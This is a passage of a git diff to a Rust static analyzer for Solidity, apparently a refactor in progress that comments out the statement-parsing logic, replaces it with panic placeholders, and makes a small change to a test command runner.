ContextEdge, Edge, Node, -}; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; +use graph::{elem::Elem, nodes::Concrete, AnalyzerBackend}; +use shared::{ExprErr, NodeIdx, RangeArena}; -use petgraph::{visit::EdgeRef, Direction}; -use solang_parser::{ - helpers::CodeLocation, - pt::{Expression, Statement, YulStatement}, -}; +use solang_parser::pt::{Expression, Statement}; impl StatementParser for T where T: AnalyzerBackend + Sized + ExpressionParser @@ -41,34 +24,35 @@ pub trait StatementParser: ) where Self: Sized, { - if let Some(parent) = parent_ctx { - match self.node(parent) { - Node::Context(_) => { - let ctx = ContextNode::from(parent.into()); - if !ctx.killed_or_ret(self).unwrap() { - if let Some(live_edges) = - self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) - { - if live_edges.is_empty() { - self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) - } else { - live_edges.iter().for_each(|fork_ctx| { - self.parse_ctx_stmt_inner( - arena, - stmt, - unchecked, - Some(*fork_ctx), - ); - }); - } - } - } - } - _ => self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx), - } - } else { - self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) - } + panic!("here"); + // if let Some(parent) = parent_ctx { + // match self.node(parent) { + // Node::Context(_) => { + // let ctx = ContextNode::from(parent.into()); + // if !ctx.killed_or_ret(self).unwrap() { + // if let Some(live_edges) = + // self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) + // { + // if live_edges.is_empty() { + // self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) + // } else { + // live_edges.iter().for_each(|fork_ctx| { + // self.parse_ctx_stmt_inner( + // arena, + // stmt, + // unchecked, + // Some(*fork_ctx), + // ); + // }); + // } + // } + // } + // } + // _ => self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx), + // } + // } else { + // self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) + // } } #[tracing::instrument(level = "trace", skip_all)] @@ -82,7 +66,7 @@ pub trait StatementParser: ) where Self: Sized, { - use Statement::*; + panic!("here"); // tracing::trace!( // "stmt: {:#?}, node: {:#?}", // stmt, @@ -94,572 +78,572 @@ pub trait StatementParser: // ); // at the end of a statement we shouldn't have anything in the stack? - if let Some(ctx) = parent_ctx { - if let Node::Context(_) = self.node(ctx) { - let c = ContextNode::from(ctx.into()); - let res = self.is_representation_ok(arena).into_expr_err(stmt.loc()); - if let Some(errs) = self.add_if_err(res) { - if !errs.is_empty() { - let Some(is_killed) = - self.add_if_err(c.is_killed(self).into_expr_err(stmt.loc())) - else { - return; - }; - if !is_killed { - c.kill(self, stmt.loc(), KilledKind::ParseError).unwrap(); - errs.into_iter().for_each(|err| { - self.add_expr_err(ExprErr::from_repr_err(stmt.loc(), err)); - }); - } - } - } + // if let Some(ctx) = parent_ctx { + // if let Node::Context(_) = self.node(ctx) { + // let c = ContextNode::from(ctx.into()); + // let res = self.is_representation_ok(arena).into_expr_err(stmt.loc()); + // if let Some(errs) = self.add_if_err(res) { + // if !errs.is_empty() { + // let Some(is_killed) = + // self.add_if_err(c.is_killed(self).into_expr_err(stmt.loc())) + // else { + // return; + // }; + // if !is_killed { + // c.kill(self, stmt.loc(), KilledKind::ParseError).unwrap(); + // errs.into_iter().for_each(|err| { + // self.add_expr_err(ExprErr::from_repr_err(stmt.loc(), err)); + // }); + // } + // } + // } - let _ = c.pop_expr_latest(stmt.loc(), self); - if unchecked { - let _ = c.set_unchecked(self); - } else { - let _ = c.unset_unchecked(self); - } + // let _ = c.pop_expr_latest(stmt.loc(), self); + // if unchecked { + // let _ = c.set_unchecked(self); + // } else { + // let _ = c.unset_unchecked(self); + // } - if c.killed_or_ret(self).unwrap() { - return; - } - } - } + // if c.killed_or_ret(self).unwrap() { + // return; + // } + // } + // } - match stmt { - Block { - loc, - unchecked, - statements, - } => { - tracing::trace!("parsing block"); - let parent = parent_ctx.expect("Free floating contexts shouldn't happen"); - let mut entry_loc = None; - let mut mods_set = false; - let ctx_node = match self.node(parent) { - Node::Function(fn_node) => { - mods_set = fn_node.modifiers_set; - entry_loc = Some(fn_node.loc); - tracing::trace!("creating genesis context for function"); - let ctx = Context::new( - FunctionNode::from(parent.into()), - self.add_if_err( - FunctionNode::from(parent.into()) - .name(self) - .into_expr_err(stmt.loc()), - ) - .unwrap(), - *loc, - ); - let ctx_node = self.add_node(Node::Context(ctx)); - self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Context)); + // match stmt { + // Block { + // loc, + // unchecked, + // statements, + // } => { + // tracing::trace!("parsing block"); + // let parent = parent_ctx.expect("Free floating contexts shouldn't happen"); + // let mut entry_loc = None; + // let mut mods_set = false; + // let ctx_node = match self.node(parent) { + // Node::Function(fn_node) => { + // mods_set = fn_node.modifiers_set; + // entry_loc = Some(fn_node.loc); + // tracing::trace!("creating genesis context for function"); + // let ctx = Context::new( + // FunctionNode::from(parent.into()), + // self.add_if_err( + // FunctionNode::from(parent.into()) + // .name(self) + // .into_expr_err(stmt.loc()), + // ) + // .unwrap(), + // *loc, + // ); + // let ctx_node = self.add_node(Node::Context(ctx)); + // self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Context)); - ctx_node - } - Node::Context(_) => { - // let ctx = Context::new_subctx( - // ContextNode::from(parent.into()), - // *loc, - // false, - // self, - // ); - // let ctx_node = self.add_node(Node::Context(ctx)); - // self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Subcontext)); - // ctx_node - parent.into() - } - e => todo!( - "Expected a context to be created by a function or context but got: {:?}", - e - ), - }; + // ctx_node + // } + // Node::Context(_) => { + // // let ctx = Context::new_subctx( + // // ContextNode::from(parent.into()), + // // *loc, + // // false, + // // self, + // // ); + // // let ctx_node = self.add_node(Node::Context(ctx)); + // // self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Subcontext)); + // // ctx_node + // parent.into() + // } + // e => todo!( + // "Expected a context to be created by a function or context but got: {:?}", + // e + // ), + // }; - // optionally add named input and named outputs into context - let (params, inputs): (Vec<_>, Vec<_>) = self - .graph() - .edges_directed(parent.into(), Direction::Incoming) - .filter(|edge| *edge.weight() == Edge::FunctionParam) - .map(|edge| FunctionParamNode::from(edge.source())) - .collect::>() - .into_iter() - .filter_map(|param_node| { - let res = param_node - .underlying(self) - .into_expr_err(stmt.loc()) - .cloned(); - let func_param = self.add_if_err(res)?; - if let Some(cvar) = ContextVar::maybe_new_from_func_param(self, func_param) - { - let cvar_node = self.add_node(Node::ContextVar(cvar)); - ContextNode::from(ctx_node) - .add_var(cvar_node.into(), self) - .unwrap(); - self.add_edge( - cvar_node, - ctx_node, - Edge::Context(ContextEdge::Variable), - ); + // // optionally add named input and named outputs into context + // let (params, inputs): (Vec<_>, Vec<_>) = self + // .graph() + // .edges_directed(parent.into(), Direction::Incoming) + // .filter(|edge| *edge.weight() == Edge::FunctionParam) + // .map(|edge| FunctionParamNode::from(edge.source())) + // .collect::>() + // .into_iter() + // .filter_map(|param_node| { + // let res = param_node + // .underlying(self) + // .into_expr_err(stmt.loc()) + // .cloned(); + // let func_param = self.add_if_err(res)?; + // if let Some(cvar) = ContextVar::maybe_new_from_func_param(self, func_param) + // { + // let cvar_node = self.add_node(Node::ContextVar(cvar)); + // ContextNode::from(ctx_node) + // .add_var(cvar_node.into(), self) + // .unwrap(); + // self.add_edge( + // cvar_node, + // ctx_node, + // Edge::Context(ContextEdge::Variable), + // ); - self.add_edge( - cvar_node, - ctx_node, - Edge::Context(ContextEdge::CalldataVariable), - ); + // self.add_edge( + // cvar_node, + // ctx_node, + // Edge::Context(ContextEdge::CalldataVariable), + // ); - let ty = ContextVarNode::from(cvar_node).ty(self).unwrap(); - if let Some(strukt) = ty.maybe_struct() { - strukt - .add_fields_to_cvar(self, *loc, ContextVarNode::from(cvar_node)) - .unwrap(); - } + // let ty = ContextVarNode::from(cvar_node).ty(self).unwrap(); + // if let Some(strukt) = ty.maybe_struct() { + // strukt + // .add_fields_to_cvar(self, *loc, ContextVarNode::from(cvar_node)) + // .unwrap(); + // } - Some((param_node, ContextVarNode::from(cvar_node))) - } else { - None - } - }) - .unzip(); + // Some((param_node, ContextVarNode::from(cvar_node))) + // } else { + // None + // } + // }) + // .unzip(); - self.graph() - .edges_directed(parent.into(), Direction::Incoming) - .filter(|edge| *edge.weight() == Edge::FunctionReturn) - .map(|edge| FunctionReturnNode::from(edge.source())) - .collect::>() - .iter() - .for_each(|ret_node| { - let res = ret_node.underlying(self).into_expr_err(stmt.loc()).cloned(); - let func_ret = self.add_if_err(res).unwrap(); - if let Some(cvar) = ContextVar::maybe_new_from_func_ret(self, func_ret) { - let cvar_node = self.add_node(Node::ContextVar(cvar)); - ContextNode::from(ctx_node) - .add_var(cvar_node.into(), self) - .unwrap(); - self.add_edge( - cvar_node, - ctx_node, - Edge::Context(ContextEdge::Variable), - ); - } - }); + // self.graph() + // .edges_directed(parent.into(), Direction::Incoming) + // .filter(|edge| *edge.weight() == Edge::FunctionReturn) + // .map(|edge| FunctionReturnNode::from(edge.source())) + // .collect::>() + // .iter() + // .for_each(|ret_node| { + // let res = ret_node.underlying(self).into_expr_err(stmt.loc()).cloned(); + // let func_ret = self.add_if_err(res).unwrap(); + // if let Some(cvar) = ContextVar::maybe_new_from_func_ret(self, func_ret) { + // let cvar_node = self.add_node(Node::ContextVar(cvar)); + // ContextNode::from(ctx_node) + // .add_var(cvar_node.into(), self) + // .unwrap(); + // self.add_edge( + // cvar_node, + // ctx_node, + // Edge::Context(ContextEdge::Variable), + // ); + // } + // }); - if let Some(fn_loc) = entry_loc { - if !mods_set { - let parent = FunctionNode::from(parent.into()); - let _ = self - .set_modifiers(arena, parent, ctx_node.into()) - .map_err(|e| self.add_expr_err(e)); - } + // if let Some(fn_loc) = entry_loc { + // if !mods_set { + // let parent = FunctionNode::from(parent.into()); + // let _ = self + // .set_modifiers(arena, parent, ctx_node.into()) + // .map_err(|e| self.add_expr_err(e)); + // } - let res = self.func_call_inner( - arena, - true, - ctx_node.into(), - parent.into().into(), - fn_loc, - &inputs, - ¶ms, - None, - &None, - ); - if self.widen_if_limit_hit(ctx_node.into(), res) { - return; - } - let res = self.apply_to_edges( - ctx_node.into(), - *loc, - arena, - &|analyzer, _arena, ctx, loc| { - if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - tracing::trace!("killing due to bad funciton call"); - let res = ContextNode::from(ctx_node) - .kill( - analyzer, - fn_loc, - ctx.underlying(analyzer).unwrap().killed.unwrap().1, - ) - .into_expr_err(fn_loc); - let _ = analyzer.add_if_err(res); - } - Ok(()) - }, - ); + // let res = self.func_call_inner( + // arena, + // true, + // ctx_node.into(), + // parent.into().into(), + // fn_loc, + // &inputs, + // ¶ms, + // None, + // &None, + // ); + // if self.widen_if_limit_hit(ctx_node.into(), res) { + // return; + // } + // let res = self.apply_to_edges( + // ctx_node.into(), + // *loc, + // arena, + // &|analyzer, _arena, ctx, loc| { + // if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { + // tracing::trace!("killing due to bad funciton call"); + // let res = ContextNode::from(ctx_node) + // .kill( + // analyzer, + // fn_loc, + // ctx.underlying(analyzer).unwrap().killed.unwrap().1, + // ) + // .into_expr_err(fn_loc); + // let _ = analyzer.add_if_err(res); + // } + // Ok(()) + // }, + // ); - if self.widen_if_limit_hit(ctx_node.into(), res) { - return; - } + // if self.widen_if_limit_hit(ctx_node.into(), res) { + // return; + // } - return; - } + // return; + // } - let res = self.apply_to_edges( - ctx_node.into(), - *loc, - arena, - &|analyzer, arena, ctx, _loc| { - statements.iter().for_each(|stmt| { - analyzer.parse_ctx_statement(arena, stmt, *unchecked, Some(ctx)) - }); - Ok(()) - }, - ); - if self.widen_if_limit_hit(ctx_node.into(), res) {} - } - VariableDefinition(loc, var_decl, maybe_expr) => { - let ctx = ContextNode::from( - parent_ctx - .expect("No context for variable definition?") - .into(), - ); - tracing::trace!( - "parsing variable definition, {:?} {var_decl:?}", - ctx.path(self) - ); + // let res = self.apply_to_edges( + // ctx_node.into(), + // *loc, + // arena, + // &|analyzer, arena, ctx, _loc| { + // statements.iter().for_each(|stmt| { + // analyzer.parse_ctx_statement(arena, stmt, *unchecked, Some(ctx)) + // }); + // Ok(()) + // }, + // ); + // if self.widen_if_limit_hit(ctx_node.into(), res) {} + // } + // VariableDefinition(loc, var_decl, maybe_expr) => { + // let ctx = ContextNode::from( + // parent_ctx + // .expect("No context for variable definition?") + // .into(), + // ); + // tracing::trace!( + // "parsing variable definition, {:?} {var_decl:?}", + // ctx.path(self) + // ); - if let Some(rhs) = maybe_expr { - match self.parse_ctx_expr(arena, rhs, ctx) { - Ok(()) => { - let res = self.apply_to_edges( - ctx, - *loc, - arena, - &|analyzer, arena, ctx, loc| { - if !ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - let Some(rhs_paths) = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - format!( - "Variable definition had no right hand side, {}", - ctx.path(analyzer) - ), - )); - }; + // if let Some(rhs) = maybe_expr { + // match self.parse_ctx_expr(arena, rhs, ctx) { + // Ok(()) => { + // let res = self.apply_to_edges( + // ctx, + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // if !ctx.killed_or_ret(analyzer).into_expr_err(loc)? { + // let Some(rhs_paths) = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // format!( + // "Variable definition had no right hand side, {}", + // ctx.path(analyzer) + // ), + // )); + // }; - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer) - .into_expr_err(loc)?; - return Ok(()); - } + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer) + // .into_expr_err(loc)?; + // return Ok(()); + // } - if let solang_parser::pt::Expression::Variable(ident) = - &var_decl.ty - { - analyzer.apply_to_edges( - ctx, - ident.loc, - arena, - &|analyzer, arena, ctx, _| { - analyzer.variable( - arena, - ident, - ctx, - var_decl.storage.clone(), - None, - ) - }, - )?; - } else { - analyzer.parse_ctx_expr(arena, &var_decl.ty, ctx)?; - } + // if let solang_parser::pt::Expression::Variable(ident) = + // &var_decl.ty + // { + // analyzer.apply_to_edges( + // ctx, + // ident.loc, + // arena, + // &|analyzer, arena, ctx, _| { + // analyzer.variable( + // arena, + // ident, + // ctx, + // var_decl.storage.clone(), + // None, + // ) + // }, + // )?; + // } else { + // analyzer.parse_ctx_expr(arena, &var_decl.ty, ctx)?; + // } - analyzer.apply_to_edges( - ctx, - loc, - arena, - &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Variable definition had no left hand side" - .to_string(), - )); - }; + // analyzer.apply_to_edges( + // ctx, + // loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Variable definition had no left hand side" + // .to_string(), + // )); + // }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer) - .into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_var_def( - arena, - ctx, - ( - var_decl - .name - .as_ref() - .map(|n| n.name.clone()), - var_decl.storage.clone().map(Into::into), - ), - loc, - &lhs_paths, - Some(&rhs_paths), - )?; - Ok(()) - }, - ) - } else { - Ok(()) - } - }, - ); - let _ = self.widen_if_limit_hit(ctx, res); - } - ret => { - let _ = self.widen_if_limit_hit(ctx, ret); - } - } - } else { - let res = if let solang_parser::pt::Expression::Variable(ident) = &var_decl.ty { - self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, arena, ctx, _| { - analyzer.variable(arena, ident, ctx, var_decl.storage.clone(), None) - }) - } else { - self.parse_ctx_expr(arena, &var_decl.ty, ctx) - }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer) + // .into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.match_var_def( + // arena, + // ctx, + // ( + // var_decl + // .name + // .as_ref() + // .map(|n| n.name.clone()), + // var_decl.storage.clone().map(Into::into), + // ), + // loc, + // &lhs_paths, + // Some(&rhs_paths), + // )?; + // Ok(()) + // }, + // ) + // } else { + // Ok(()) + // } + // }, + // ); + // let _ = self.widen_if_limit_hit(ctx, res); + // } + // ret => { + // let _ = self.widen_if_limit_hit(ctx, ret); + // } + // } + // } else { + // let res = if let solang_parser::pt::Expression::Variable(ident) = &var_decl.ty { + // self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, arena, ctx, _| { + // analyzer.variable(arena, ident, ctx, var_decl.storage.clone(), None) + // }) + // } else { + // self.parse_ctx_expr(arena, &var_decl.ty, ctx) + // }; - if self.widen_if_limit_hit(ctx, res) { - return; - } - let res = - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Variable definition had no left hand side".to_string(), - )); - }; + // if self.widen_if_limit_hit(ctx, res) { + // return; + // } + // let res = + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Variable definition had no left hand side".to_string(), + // )); + // }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_var_def( - arena, - ctx, - ( - var_decl.name.as_ref().map(|n| n.name.clone()), - var_decl.storage.clone().map(Into::into), - ), - loc, - &lhs_paths, - None, - )?; - Ok(()) - }); - let _ = self.widen_if_limit_hit(ctx, res); - } - } - Args(_loc, _args) => { - tracing::trace!("parsing args, {_args:?}"); - } - If(loc, if_expr, true_expr, maybe_false_expr) => { - tracing::trace!("parsing if, {if_expr:?}"); - let ctx = ContextNode::from(parent_ctx.expect("Dangling if statement").into()); - let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - analyzer.cond_op_stmt(arena, loc, if_expr, true_expr, maybe_false_expr, ctx) - }); - let _ = self.widen_if_limit_hit(ctx, res); - } - While(loc, cond, body) => { - tracing::trace!("parsing while, {cond:?}"); - if let Some(parent) = parent_ctx { - let res = self.apply_to_edges( - ContextNode::from(parent.into()), - *loc, - arena, - &|analyzer, arena, ctx, loc| { - analyzer.while_loop(arena, loc, ctx, cond, body) - }, - ); - let _ = self.widen_if_limit_hit(parent.into().into(), res); - } - } - Expression(loc, expr) => { - tracing::trace!("parsing expr, {expr:?}"); - if let Some(parent) = parent_ctx { - let ctx = parent.into().into(); - if let solang_parser::pt::Expression::StringLiteral(lits) = expr { - if lits.len() == 1 { - if let Some(command) = self.test_string_literal(&lits[0].string) { - let _ = self.apply_to_edges( - ctx, - *loc, - arena, - &|analyzer, arena, ctx, loc| { - analyzer.run_test_command(arena, ctx, loc, command.clone()); - Ok(()) - }, - ); - } - } - } + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.match_var_def( + // arena, + // ctx, + // ( + // var_decl.name.as_ref().map(|n| n.name.clone()), + // var_decl.storage.clone().map(Into::into), + // ), + // loc, + // &lhs_paths, + // None, + // )?; + // Ok(()) + // }); + // let _ = self.widen_if_limit_hit(ctx, res); + // } + // } + // Args(_loc, _args) => { + // tracing::trace!("parsing args, {_args:?}"); + // } + // If(loc, if_expr, true_expr, maybe_false_expr) => { + // tracing::trace!("parsing if, {if_expr:?}"); + // let ctx = ContextNode::from(parent_ctx.expect("Dangling if statement").into()); + // let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // analyzer.cond_op_stmt(arena, loc, if_expr, true_expr, maybe_false_expr, ctx) + // }); + // let _ = self.widen_if_limit_hit(ctx, res); + // } + // While(loc, cond, body) => { + // tracing::trace!("parsing while, {cond:?}"); + // if let Some(parent) = parent_ctx { + // let res = self.apply_to_edges( + // ContextNode::from(parent.into()), + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // analyzer.while_loop(arena, loc, ctx, cond, body) + // }, + // ); + // let _ = self.widen_if_limit_hit(parent.into().into(), res); + // } + // } + // Expression(loc, expr) => { + // tracing::trace!("parsing expr, {expr:?}"); + // if let Some(parent) = parent_ctx { + // let ctx = parent.into().into(); + // if let solang_parser::pt::Expression::StringLiteral(lits) = expr { + // if lits.len() == 1 { + // if let Some(command) = self.test_string_literal(&lits[0].string) { + // let _ = self.apply_to_edges( + // ctx, + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // analyzer.run_test_command(arena, ctx, loc, command.clone()); + // Ok(()) + // }, + // ); + // } + // } + // } - match self.parse_ctx_expr(arena, expr, ctx) { - Ok(()) => { - let res = self.apply_to_edges( - ctx, - *loc, - arena, - &|analyzer, _arena, ctx, loc| { - if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - tracing::trace!("killing due to bad expr"); - ContextNode::from(parent.into()) - .kill( - analyzer, - loc, - ctx.underlying(analyzer).unwrap().killed.unwrap().1, - ) - .into_expr_err(loc)?; - } - Ok(()) - }, - ); - let _ = self.widen_if_limit_hit(ctx, res); - } - e => { - let _ = self.widen_if_limit_hit(ctx, e); - } - } - } - } - For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => { - tracing::trace!("parsing for loop"); - if let Some(parent) = parent_ctx { - let res = self.apply_to_edges( - parent.into().into(), - *loc, - arena, - &|analyzer, arena, ctx, loc| { - analyzer.for_loop( - arena, - loc, - ctx, - maybe_for_start, - maybe_for_middle, - maybe_for_end, - maybe_for_body, - ) - }, - ); - let _ = self.widen_if_limit_hit(parent.into().into(), res); - } - } - DoWhile(loc, while_stmt, while_expr) => { - tracing::trace!("parsing `do while`, {while_expr:?}"); - if let Some(parent) = parent_ctx { - let res = self.apply_to_edges( - ContextNode::from(parent.into()), - *loc, - arena, - &|analyzer, arena, ctx, loc| { - analyzer.while_loop(arena, loc, ctx, while_expr, while_stmt) - }, - ); - let _ = self.widen_if_limit_hit(parent.into().into(), res); - } - } - Continue(_loc) => { - tracing::trace!("parsing continue"); - // TODO: We cheat in loops by just widening so continues dont matter yet - } - Break(_loc) => { - tracing::trace!("parsing break"); - // TODO: We cheat in loops by just widening so breaks dont matter yet - } - Assembly { - loc, - dialect: _, - flags: _, - block: yul_block, - } => { - tracing::trace!("parsing assembly"); - let ctx = ContextNode::from( - parent_ctx - .expect("No context for variable definition?") - .into(), - ); - let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_yul_statement( - arena, - &YulStatement::Block(yul_block.clone()), - ctx, - ); - Ok(()) - }); - let _ = self.widen_if_limit_hit(ctx, res); - } - Return(loc, maybe_ret_expr) => { - tracing::trace!("parsing return"); - if let Some(ret_expr) = maybe_ret_expr { - if let Some(parent) = parent_ctx { - let res = self.parse_ctx_expr(arena, ret_expr, parent.into().into()); - if self.widen_if_limit_hit(parent.into().into(), res) { - return; - } - let res = self.apply_to_edges( - parent.into().into(), - *loc, - arena, - &|analyzer, arena, ctx, loc| { - let Ok(Some(ret)) = ctx.pop_expr_latest(loc, analyzer) else { - return Err(ExprErr::NoLhs( - loc, - "Return did not have a associated expression".to_string(), - )); - }; + // match self.parse_ctx_expr(arena, expr, ctx) { + // Ok(()) => { + // let res = self.apply_to_edges( + // ctx, + // *loc, + // arena, + // &|analyzer, _arena, ctx, loc| { + // if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { + // tracing::trace!("killing due to bad expr"); + // ContextNode::from(parent.into()) + // .kill( + // analyzer, + // loc, + // ctx.underlying(analyzer).unwrap().killed.unwrap().1, + // ) + // .into_expr_err(loc)?; + // } + // Ok(()) + // }, + // ); + // let _ = self.widen_if_limit_hit(ctx, res); + // } + // e => { + // let _ = self.widen_if_limit_hit(ctx, e); + // } + // } + // } + // } + // For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => { + // tracing::trace!("parsing for loop"); + // if let Some(parent) = parent_ctx { + // let res = self.apply_to_edges( + // parent.into().into(), + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // analyzer.for_loop( + // arena, + // loc, + // ctx, + // maybe_for_start, + // maybe_for_middle, + // maybe_for_end, + // maybe_for_body, + // ) + // }, + // ); + // let _ = self.widen_if_limit_hit(parent.into().into(), res); + // } + // } + // DoWhile(loc, while_stmt, while_expr) => { + // tracing::trace!("parsing `do while`, {while_expr:?}"); + // if let Some(parent) = parent_ctx { + // let res = self.apply_to_edges( + // ContextNode::from(parent.into()), + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // analyzer.while_loop(arena, loc, ctx, while_expr, while_stmt) + // }, + // ); + // let _ = self.widen_if_limit_hit(parent.into().into(), res); + // } + // } + // Continue(_loc) => { + // tracing::trace!("parsing continue"); + // // TODO: We cheat in loops by just widening so continues dont matter yet + // } + // Break(_loc) => { + // tracing::trace!("parsing break"); + // // TODO: We cheat in loops by just widening so breaks dont matter yet + // } + // Assembly { + // loc, + // dialect: _, + // flags: _, + // block: yul_block, + // } => { + // tracing::trace!("parsing assembly"); + // let ctx = ContextNode::from( + // parent_ctx + // .expect("No context for variable definition?") + // .into(), + // ); + // let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_yul_statement( + // arena, + // &YulStatement::Block(yul_block.clone()), + // ctx, + // ); + // Ok(()) + // }); + // let _ = self.widen_if_limit_hit(ctx, res); + // } + // Return(loc, maybe_ret_expr) => { + // tracing::trace!("parsing return"); + // if let Some(ret_expr) = maybe_ret_expr { + // if let Some(parent) = parent_ctx { + // let res = self.parse_ctx_expr(arena, ret_expr, parent.into().into()); + // if self.widen_if_limit_hit(parent.into().into(), res) { + // return; + // } + // let res = self.apply_to_edges( + // parent.into().into(), + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // let Ok(Some(ret)) = ctx.pop_expr_latest(loc, analyzer) else { + // return Err(ExprErr::NoLhs( + // loc, + // "Return did not have a associated expression".to_string(), + // )); + // }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - let paths = ret.flatten(); - if paths.is_killed() { - tracing::trace!("killing due to bad return"); - let res = ContextNode::from(parent.into()) - .kill(analyzer, loc, paths.killed_kind().unwrap()) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - return Ok(()); - } - analyzer.return_match(arena, ctx, &loc, &paths, 0); - Ok(()) - }, - ); - let _ = self.widen_if_limit_hit(parent.into().into(), res); - } - } - } - Revert(loc, _maybe_err_path, _exprs) => { - tracing::trace!("parsing revert"); - if let Some(parent) = parent_ctx { - let parent = ContextNode::from(parent.into()); - let res = - self.apply_to_edges(parent, *loc, arena, &|analyzer, _arena, ctx, loc| { - let res = ctx - .kill(analyzer, loc, KilledKind::Revert) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - Ok(()) - }); - let _ = self.add_if_err(res); - } - } - RevertNamedArgs(_loc, _maybe_err_path, _named_args) => { - tracing::trace!("parsing named revert"); - todo!("revert named args") - } - Emit(_loc, _emit_expr) => {} - Try(_loc, _try_expr, _maybe_returns, _clauses) => {} - Error(_loc) => {} - } + // let paths = ret.flatten(); + // if paths.is_killed() { + // tracing::trace!("killing due to bad return"); + // let res = ContextNode::from(parent.into()) + // .kill(analyzer, loc, paths.killed_kind().unwrap()) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // return Ok(()); + // } + // analyzer.return_match(arena, ctx, &loc, &paths, 0); + // Ok(()) + // }, + // ); + // let _ = self.widen_if_limit_hit(parent.into().into(), res); + // } + // } + // } + // Revert(loc, _maybe_err_path, _exprs) => { + // tracing::trace!("parsing revert"); + // if let Some(parent) = parent_ctx { + // let parent = ContextNode::from(parent.into()); + // let res = + // self.apply_to_edges(parent, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let res = ctx + // .kill(analyzer, loc, KilledKind::Revert) + // .into_expr_err(loc); + // let _ = analyzer.add_if_err(res); + // Ok(()) + // }); + // let _ = self.add_if_err(res); + // } + // } + // RevertNamedArgs(_loc, _maybe_err_path, _named_args) => { + // tracing::trace!("parsing named revert"); + // todo!("revert named args") + // } + // Emit(_loc, _emit_expr) => {} + // Try(_loc, _try_expr, _maybe_returns, _clauses) => {} + // Error(_loc) => {} + // } } } diff --git a/crates/solc-expressions/src/context_builder/test_command_runner.rs b/crates/solc-expressions/src/context_builder/test_command_runner.rs index 84c70b62..3c6a50af 100644 --- a/crates/solc-expressions/src/context_builder/test_command_runner.rs +++ b/crates/solc-expressions/src/context_builder/test_command_runner.rs @@ -75,7 +75,7 @@ pub trait TestCommandRunner: } } TestCommand::Coverage(CoverageCommand::OnlyPath) => { - if let Some(parent) = ctx.underlying(self).unwrap().parent_ctx { + if let Some(parent) = ctx.underlying(self).unwrap().parent_ctx() { if parent.underlying(self).unwrap().child.is_some() { self.add_expr_err(ExprErr::TestError( loc, diff --git 